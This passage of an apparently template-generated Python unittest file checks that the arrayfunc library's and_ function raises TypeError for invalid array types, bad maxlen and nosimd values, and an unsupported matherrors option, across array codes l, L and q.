inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, nosimd='a')
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for nosimd='a' - Array code l.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, nosimd='a')
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for nosimd='a' - Array code l.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, nosimd='a')
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for nosimd='a' - Array code l.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, nosimd='a')
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for nosimd='a' - Array code l.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, nosimd='a')
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for nosimd='a' - Array code l.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, nosimd='a')
##############################################################################
##############################################################################
class and__param_errors_L(unittest.TestCase):
"""Test and_ for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
testdata1 = [100,101,102,103,104,105,106,107,108,109]
testdata2 = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), testdata1)]
arraysize = len(testdata1)
self.testarray1 = array.array('L', testdata1)
self.testarray2 = array.array('L', testdata2)
self.dataout = array.array('L', itertools.repeat(0, arraysize))
# Create some data array equivalents with an incompatible type.
self.badarray1 = array.array('d', [float(x) for x in testdata1])
self.badarray2 = array.array('d', [float(x) for x in testdata2])
self.baddataout = array.array('d', [float(x) for x in self.dataout])
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for invalid type of array - Array code L.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue)
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for invalid type of number - Array code L.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, badvalue)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for invalid type of array - Array code L.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue, self.dataout)
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for invalid type of number - Array code L.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(self.testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, badvalue, self.dataout)
########################################################
def test_and__array_num_array_b3(self):
"""Test and_ as *array-num-array* for invalid type of output array - Array code L.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, testvalue, self.baddataout)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for invalid type of array - Array code L.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
badarray2 = copy.copy(self.badarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, badarray2)
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for invalid type of number - Array code L.
"""
for testvalue, badvalue in zip(self.testarray1, self.badarray1):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
testarray2 = copy.copy(self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badvalue, testarray2)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for invalid type of array - Array code L.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for invalid type of number - Array code L.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d3(self):
"""Test and_ as *num-array-array* for invalid type of output array - Array code L.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.testarray2, self.baddataout)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code L.
"""
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, self.testarray2)
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, self.badarray2)
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code L.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code L.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.badarray2, self.dataout)
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code L.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2, self.dataout)
########################################################
def test_and__array_array_array_f3(self):
"""Test and_ as *array-array-array* for invalid type of output array - Array code L.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.testarray2, self.baddataout)
########################################################
def test_and__no_params_g1(self):
"""Test and_ with no parameters - Array code L.
"""
with self.assertRaises(TypeError):
arrayfunc.and_()
##############################################################################
##############################################################################
class and__opt_param_errors_L(unittest.TestCase):
"""Test and_ for invalid maxlen parameter.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109 ]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.testmaxlen = len(self.inpdata1a) // 2
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('L', self.inpdata1a)
self.inparray2a = array.array('L', self.inpdata2a)
self.dataout = array.array('L', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for maxlen='a' - Array code L.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, maxlen='a')
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for matherrors=True (unsupported option) - Array code L.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, matherrors=True)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for maxlen='a' - Array code L.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, maxlen='a')
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for matherrors=True (unsupported option) - Array code L.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, matherrors=True)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for maxlen='a' - Array code L.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, maxlen='a')
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for matherrors=True (unsupported option) - Array code L.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, matherrors=True)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for maxlen='a' - Array code L.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for matherrors=True (unsupported option) - Array code L.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, matherrors=True)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for maxlen='a' - Array code L.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, maxlen='a')
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for matherrors=True (unsupported option) - Array code L.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, matherrors=True)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for maxlen='a' - Array code L.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for matherrors=True (unsupported option) - Array code L.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, matherrors=True)
##############################################################################
##############################################################################
class and__opt_nosimd_param_errors_L(unittest.TestCase):
"""Test and_ for invalid nosimd parameter.
param_invalid_opt_nosimd_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('L', self.inpdata1a)
self.inparray2a = array.array('L', self.inpdata2a)
self.dataout = array.array('L', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for nosimd='a' - Array code L.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, nosimd='a')
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for nosimd='a' - Array code L.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, nosimd='a')
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for nosimd='a' - Array code L.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, nosimd='a')
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for nosimd='a' - Array code L.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, nosimd='a')
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for nosimd='a' - Array code L.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, nosimd='a')
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for nosimd='a' - Array code L.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, nosimd='a')
##############################################################################
##############################################################################
class and__param_errors_q(unittest.TestCase):
"""Test and_ for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
testdata1 = [100,101,102,103,104,105,106,107,108,109]
testdata2 = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), testdata1)]
arraysize = len(testdata1)
self.testarray1 = array.array('q', testdata1)
self.testarray2 = array.array('q', testdata2)
self.dataout = array.array('q', itertools.repeat(0, arraysize))
# Create some data array equivalents with an incompatible type.
self.badarray1 = array.array('d', [float(x) for x in testdata1])
self.badarray2 = array.array('d', [float(x) for x in testdata2])
self.baddataout = array.array('d', [float(x) for x in self.dataout])
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for invalid type of array - Array code q.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue)
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for invalid type of number - Array code q.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, badvalue)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for invalid type of array - Array code q.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue, self.dataout)
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for invalid type of number - Array code q.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(self.testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, badvalue, self.dataout)
########################################################
def test_and__array_num_array_b3(self):
"""Test and_ as *array-num-array* for invalid type of output array - Array code q.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, testvalue, self.baddataout)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for invalid type of array - Array code q.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
badarray2 = copy.copy(self.badarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, badarray2)
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for invalid type of number - Array code q.
"""
for testvalue, badvalue in zip(self.testarray1, self.badarray1):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
testarray2 = copy.copy(self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badvalue, testarray2)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for invalid type of array - Array code q.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for invalid type of number - Array code q.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d3(self):
"""Test and_ as *num-array-array* for invalid type of output array - Array code q.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.testarray2, self.baddataout)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code q.
"""
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, self.testarray2)
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, self.badarray2)
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code q.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code q.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.badarray2, self.dataout)
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code q.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2, self.dataout)
########################################################
def test_and__array_array_array_f3(self):
"""Test and_ as *array-array-array* for invalid type of output array - Array code q.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.testarray2, self.baddataout)
########################################################
def test_and__no_params_g1(self):
"""Test and_ with no parameters - Array code q.
"""
with self.assertRaises(TypeError):
arrayfunc.and_()
##############################################################################
##############################################################################
class and__opt_param_errors_q(unittest.TestCase):
"""Test and_ for invalid maxlen parameter.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109 ]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.testmaxlen = len(self.inpdata1a) // 2
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('q', self.inpdata1a)
self.inparray2a = array.array('q', self.inpdata2a)
self.dataout = array.array('q', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for maxlen='a' - Array code q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, maxlen='a')
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for matherrors=True (unsupported option) - Array code q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, matherrors=True)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for maxlen='a' - Array code q.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, maxlen='a')
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for matherrors=True (unsupported option) - Array code q.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, matherrors=True)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for maxlen='a' - Array code q.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, maxlen='a')
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for matherrors=True (unsupported option) - Array code q.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, matherrors=True)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for maxlen='a' - Array code q.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for matherrors=True (unsupported option) - Array code q.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, matherrors=True)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for maxlen='a' - Array code q.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, maxlen='a')
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for matherrors=True (unsupported option) - Array code q.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, matherrors=True)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for maxlen='a' - Array code q.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for matherrors=True (unsupported option) - Array code q.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, matherrors=True)
##############################################################################
##############################################################################
class and__opt_nosimd_param_errors_q(unittest.TestCase):
"""Test and_ for invalid nosimd parameter.
param_invalid_opt_nosimd_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('q', self.inpdata1a)
self.inparray2a = array.array('q', self.inpdata2a)
self.dataout = array.array('q', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for nosimd='a' - Array code q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, nosimd='a')
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for nosimd='a' - Array code q.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, nosimd='a')
